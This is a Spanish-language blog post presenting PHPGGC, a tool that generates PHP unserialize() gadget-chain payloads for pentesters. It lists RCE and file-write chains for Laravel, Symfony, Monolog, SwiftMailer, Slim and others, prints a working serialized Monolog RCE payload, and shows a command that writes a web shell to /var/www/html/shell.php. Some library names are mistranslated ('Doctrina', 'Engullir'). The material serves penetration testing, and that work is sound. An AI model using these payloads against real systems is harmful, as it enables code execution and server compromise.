PHPGGC (PHP Generic Gadget Chains): generador de payloads para unserialize()

El uso de unserialize() con entradas inseguras ha sido durante años una vulnerabilidad muy presente y muchos CMS o frameworks se han abstenido de usarlo a favor del json_decode(), más seguro. Sin embargo, todavía se sigue usando, especialmente en sitios web "hechos a medida", aunque su explotación puede ser complicada si no se conoce el código.

Para un pentester que descubre una manera de deserializar datos el problema está en encontrar gadgets correctos. Si el código es desconocido, uno tiene que recurrir a un exploit binario, que puede ser, aunque factible, muy lento. Aunque cada vez más los desarrolladores web optan por utilizar frameworks y/o bibliotecas en lugar de programar todo desde cero. Tenemos ejemplos como Laravel, Symfony, Zend, Code Igniter para frameworks o Monolog, SwiftMailer para bibliotecas.

Si además tenemos en cuenta que se utiliza a menudo el mecanismo de autoload y que se pueden detectar las dependencias (por ejemplo, a través de composer.json), explotar con éxito unserialize() en entornos desconocidos se basa sólo en la construcción de payloads de gadgets extraídos de bibliotecas comunes. Si no se puede identificar ninguna biblioteca, probar payloads uno a uno sigue siendo una opción.

Por lo tanto, resulta tremendamente interesante construir una biblioteca de cadenas de gadgets, de manera similar a ysoserial de Java. Y con esa intención Ambionics Security ha creado PHPGGC (PHP Generic Gadget Chains): una biblioteca de payloads unserialize() junto con una herramienta para generarlas desde la línea de comandos o mediante programación. Uno sólo tiene que seleccionar una cadena de gadget, especificar el comando(s) que quiere ejecutar y se muestra el payload correspondiente.

De momento ya tienen payloads para las últimas versiones de:
  •     Laravel
  •     Symfony
  •     SwiftMailer
  •     Monólogo
  •     SlimPHP
  •     Doctrina
  •     Engullir
Instalación y parámetros disponibles:
$ git clone https://github.com/ambionics/phpggc.git
$ cd phpggc
$ ./phpggc 

PHPGGC: PHP Generic Gadget Chains
---------------------------------

Usage
  ./phpggc [-h|-l|-w|-h|-s|-u|-b] <GadgetChain> [arguments]

Optional parameters
  -h Displays advanced help
  -l Lists available gadget chains
  -w <wrapper>
     Specifies a file containing a function: wrapper($payload)
     This function will be called before the generated gadget is serialized.
  -s Soft URLencode
  -u URLencodes the payload
  -b Converts the output into base64

Examples
  ./phpggc Laravel/RCE1 'phpinfo().die();'
  ./phpggc SwiftMailer/FW1 /var/www/html/shell.php /tmp/local_file_to_write

Payloads disponibles:
$ ./phpggc -l

Gadget Chains
-------------

Name           : Doctrine/FW1
Version        : ?
Type           : file_write
Vector         : __toString
Informations   : 
We do not have full control of the path. If you enter /var/www/toto/shell.php as the remote_path, 
it will be converted to /var/www/toto/e3/5b737464436c61737324434c4153534d455441444154415d5b315d/shell.php.
Only the extension and base path are kept.

Name           : Guzzle/FW1
Version        : 6.0.0 <= 6.3.0
Type           : file_write
Vector         : __destruct

Name           : Laravel/RCE1
Version        : 5.4.27
Type           : rce
Vector         : __destruct

Name           : Monolog/RCE1
Version        : 1.18 <= 1.23
Type           : rce
Vector         : __destruct

Name           : Monolog/RCE2
Version        : 1.5 <= 1.17
Type           : rce
Vector         : __destruct

Name           : Slim/RCE1
Version        : 3.8.1
Type           : rce
Vector         : __toString

Name           : SwiftMailer/FW1
Version        : 5.1.0 <= 5.4.8
Type           : file_write
Vector         : __toString

Name           : SwiftMailer/FW2
Version        : 6.0.0 <= 6.0.1
Type           : file_write
Vector         : __toString

Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

Ejemplos de uso:

Una vez que haya seleccionado una cadena, hay que ejecutar ./phpggc <gadget-chain> [parameters] para obtener el payload. 

Por ejemplo, para obtener un payload para Monolog se haría lo siguiente:
$ ./phpggc monolog/rce1 'phpinfo();'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

Y si lo añadimos en el sitio correcto obtendremos:



Otro ejemplo, para escribir un archivo usando SwiftMailer:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Los parámetros permiten modificar la salida del payload. Por ejemplo, -u lo codificará URL y -b lo convertirá en base64. Los payloads suelen contener NULL bytes y no se pueden copiar/pegar tal cual. Con -s se realiza una codificación que mantiene el payload legible.

La opción -w permite definir un archivo PHP que contenga una función wrapper ($chain). Esto se llamará después de que se construya la cadena, pero antes de serialize(), para ajustar la forma del payload. Por ejemplo, si el código vulnerable tiene este aspecto:
$data = unserialize($_GET['data']);
print $data['message'];

Podemos usar una cadena __toString (), envolviéndola de la siguiente manera:
# /tmp/my_wrapper.php

function wrapper($chain)
{
    return array(
        'message' => $chain
    );
}

Y llamar a phpggc así:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 'phpinfo();'
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

Github: https://github.com/ambionics/phpggc
Fuente: https://www.ambionics.io/blog/php-generic-gadget-chains

Comentarios